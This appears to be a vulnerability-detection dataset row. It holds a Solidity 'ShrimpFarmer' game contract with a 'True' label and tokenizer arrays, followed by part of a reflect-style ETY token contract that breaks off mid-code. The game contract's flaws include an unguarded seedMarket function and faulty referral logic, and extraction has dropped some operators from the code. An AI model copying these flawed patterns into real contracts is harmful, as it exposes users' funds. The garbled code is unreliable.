1998, 1013, 2030, 19933, 1008, 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pragma solidity ^0.4.18; // solhint-disable-line // similar as shrimpfarmer, with three changes: // A. one third of your snails die when you sell eggs // B. you can transfer ownership of the devfee through sacrificing snails // C. the "free" 300 snails cost 0.001 eth (in line with the mining fee) // bots should have a harder time, and whales can compete for the devfee // http://ethfish.club/ contract ShrimpFarmer{ //uint256 EGGS_PER_SHRIMP_PER_SECOND=1; uint256 public EGGS_TO_HATCH_1SHRIMP=86400;//for final version should be seconds in a day uint256 public STARTING_SHRIMP=300; uint256 PSN=10000; uint256 PSNH=5000; bool public initialized=false; address public ceoAddress; mapping (address => uint256) public hatcheryShrimp; mapping (address => uint256) public claimedEggs; mapping (address => uint256) public lastHatch; mapping (address => address) public referrals; uint256 public marketEggs; uint256 public snailmasterReq=100000; function ShrimpFarmer() public{ ceoAddress=msg.sender; } function becomeSnailmaster() public{ require(initialized); require(hatcheryShrimp[msg.sender]>=snailmasterReq); //hatcheryShrimp[msg.sender]=SafeMath.sub(hatcheryShrimp[msg.sender],snailmasterReq); //snailmasterReq=SafeMath.add(snailmasterReq,100000);//+100k shrimps each time //ceoAddress=msg.sender; } function hatchEggs(address ref) public{ require(initialized); if(referrals[msg.sender]==0 && referrals[msg.sender]!=msg.sender){ referrals[msg.sender]=ref; } uint256 eggsUsed=getMyEggs(); uint256 newShrimp=SafeMath.div(eggsUsed,EGGS_TO_HATCH_1SHRIMP); hatcheryShrimp[msg.sender]=SafeMath.add(hatcheryShrimp[msg.sender],newShrimp); claimedEggs[msg.sender]=0; lastHatch[msg.sender]=now; //send referral eggs claimedEggs[referrals[msg.sender]]=SafeMath.add(claimedEggs[referrals[msg.sender]],SafeMath.div(eggsUsed,5)); //boost market to nerf shrimp hoarding marketEggs=SafeMath.add(marketEggs,SafeMath.div(eggsUsed,10)); } function sellEggs() public{ require(initialized); uint256 hasEggs=getMyEggs(); uint256 eggValue=calculateEggSell(hasEggs); uint256 fee=devFee(eggValue); // kill one third of the owner's snails on egg sale hatcheryShrimp[msg.sender]=SafeMath.mul(SafeMath.div(hatcheryShrimp[msg.sender],3),2); claimedEggs[msg.sender]=0; lastHatch[msg.sender]=now; marketEggs=SafeMath.add(marketEggs,hasEggs); ceoAddress.transfer(fee); msg.sender.transfer(SafeMath.sub(eggValue,fee)); } function buyEggs() public payable{ require(initialized); uint256 eggsBought=calculateEggBuy(msg.value,SafeMath.sub(this.balance,msg.value)); eggsBought=SafeMath.sub(eggsBought,devFee(eggsBought)); ceoAddress.transfer(devFee(msg.value)); claimedEggs[msg.sender]=SafeMath.add(claimedEggs[msg.sender],eggsBought); } //magic trade balancing algorithm function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){ //(PSNbs)/(PSNH+((PSNrs+PSNHrt)/rt)); return SafeMath.div(SafeMath.mul(PSN,bs),SafeMath.add(PSNH,SafeMath.div(SafeMath.add(SafeMath.mul(PSN,rs),SafeMath.mul(PSNH,rt)),rt))); } function calculateEggSell(uint256 eggs) public view returns(uint256){ return calculateTrade(eggs,marketEggs,this.balance); } function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){ return calculateTrade(eth,contractBalance,marketEggs); } function calculateEggBuySimple(uint256 eth) public view returns(uint256){ return calculateEggBuy(eth,this.balance); } function devFee(uint256 amount) public view returns(uint256){ return SafeMath.div(SafeMath.mul(amount,4),100); } function seedMarket(uint256 eggs) public payable{ require(marketEggs==0); initialized=true; marketEggs=eggs; } function getFreeShrimp() public{ require(initialized); //require(msg.value==0.001 ether); //similar to mining fee, prevents bots //ceoAddress.transfer(msg.value); //snailmaster gets this entrance fee require(hatcheryShrimp[msg.sender]==0); lastHatch[msg.sender]=now; hatcheryShrimp[msg.sender]=STARTING_SHRIMP; } function getBalance() public view returns(uint256){ return this.balance; } function getMyShrimp() public view returns(uint256){ return hatcheryShrimp[msg.sender]; } function getSnailmasterReq() public view returns(uint256){ return snailmasterReq; } function getMyEggs() public view returns(uint256){ return SafeMath.add(claimedEggs[msg.sender],getEggsSinceLastHatch(msg.sender)); } function getEggsSinceLastHatch(address adr) public view returns(uint256){ uint256 secondsPassed=min(EGGS_TO_HATCH_1SHRIMP,SafeMath.sub(now,lastHatch[adr])); return SafeMath.mul(secondsPassed,hatcheryShrimp[adr]); } function min(uint256 a, uint256 b) private pure returns (uint256) { return a < b ? a : b; } } library SafeMath { /* * @dev Multiplies two numbers, throws on overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. / function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). / function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /* * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1013, 14017, 10606, 2102, 1011, 4487, 19150, 1011, 2240, 1013, 1013, 2714, 2004, 20130, 14971, 5017, 1010, 2007, 2093, 3431, 1024, 1013, 1013, 1037, 1012, 2028, 2353, 1997, 2115, 13482, 3280, 2043, 2017, 5271, 6763, 1013, 1013, 1038, 1012, 2017, 2064, 4651, 6095, 1997, 1996, 16475, 7959, 2063, 2083, 17266, 3089, 8873, 6129, 13482, 1013, 1013, 1039, 1012, 1996, 1000, 2489, 1000, 3998, 13482, 3465, 1014, 1012, 25604, 3802, 2232, 1006, 1999, 2240, 2007, 1996, 5471, 7408, 1007, 1013, 1013, 28516, 2015, 2323, 2031, 1037, 6211, 2051, 1010, 1998, 17967, 2064, 5566, 2005, 1996, 16475, 7959, 2063, 1013, 1013, 8299, 1024, 1013, 1013, 3802, 2232, 7529, 1012, 2252, 1013, 3206, 20130, 14971, 5017, 1063, 1013, 1013, 21318, 3372, 17788, 2575, 6763, 1035, 2566, 1035, 20130, 1035, 2566, 1035, 2117, 1027, 1015, 1025, 21318, 3372, 17788, 2575, 2270, 6763, 1035, 2000, 1035, 11300, 1035, 1015, 4095, 20026, 2361, 1027, 6564, 29537, 1025, 1013, 1013, 2005, 2345, 2544, 2323, 2022, 3823, 1999, 1037, 2154, 21318, 3372, 17788, 2575, 2270, 3225, 1035, 20130, 1027, 3998, 1025, 21318, 3372, 17788, 2575, 8827, 2078, 1027, 6694, 2692, 1025, 21318, 3372, 17788, 2575, 8827, 25311, 1027, 13509, 1025, 22017, 2140, 2270, 3988, 3550, 1027, 6270, 1025, 4769, 2270, 5766, 4215, 16200, 4757, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 11300, 7301, 4095, 20026, 2361, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 3555, 13910, 5620, 1025, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 17788, 2575, 1007, 2270, 2197, 12707, 2818, 1025, 12375, 1006, 4769, 1027, 1028, 4769, 1007, 2270, 6523, 7941, 2015, 1025, 21318, 3372, 17788, 2575, 2270, 3006, 13910, 5620, 1025, 21318, 3372, 17788, 2575, 2270, 10879, 8706, 2890, 4160, 1027, 6694, 8889, 1025, 3853, 20130, 14971, 5017, 1006, 1007, 2270, 1063, 5766, 4215, 16200, 4757, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 4150, 25464, 8706, 1006, 1007, 2270, 1063, 5478, 1006, 3988, 3550, 1007, 1025, 5478, 1006, 11300, 7301, 4095, 20026, 2361, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1028, 1027, 10879, 8706, 2890, 4160, 1007, 1025, 1013, 1013, 11300, 7301, 4095, 20026, 2361, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 3647, 18900, 2232, 1012, 4942, 1006, 11300, 7301, 4095, 20026, 2361, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1010, 10879, 8706, 2890, 4160, 1007, 1025, 1013, 1013, 10879, 8706, 2890, 4160, 1027, 3647, 18900, 2232, 1012, 5587, 1006, 10879, 8706, 2890, 4160, 1010, 6694, 8889, 1007, 1025, 1013, 1013, 1009, 2531, 2243, 20130, 2015, 2169, 2051, 1013, 1013, 5766, 4215, 16200, 4757, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 11300, 13910, 5620, 1006, 4769, 25416, 1007, 2270, 1063, 5478, 1006, 3988, 3550, 1007, 1025, 2065, 1006, 6523, 7941, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 1027, 1014, 1004, 1004, 6523, 7941, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 999, 1027, 5796, 2290, 1012, 4604, 2121, 1007, 1063, 6523, 7941, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 25416, 1025, 1065, 21318, 3372, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-01-13 / // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.2; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\REFLECT.sol / * Copyright 2020 reflect.finance. ALL RIGHTS RESERVED. / pragma solidity ^0.6.2; contract ETY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 14 10*6 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Excite.Yield'; string private _symbol = 'ETY'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(7); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = 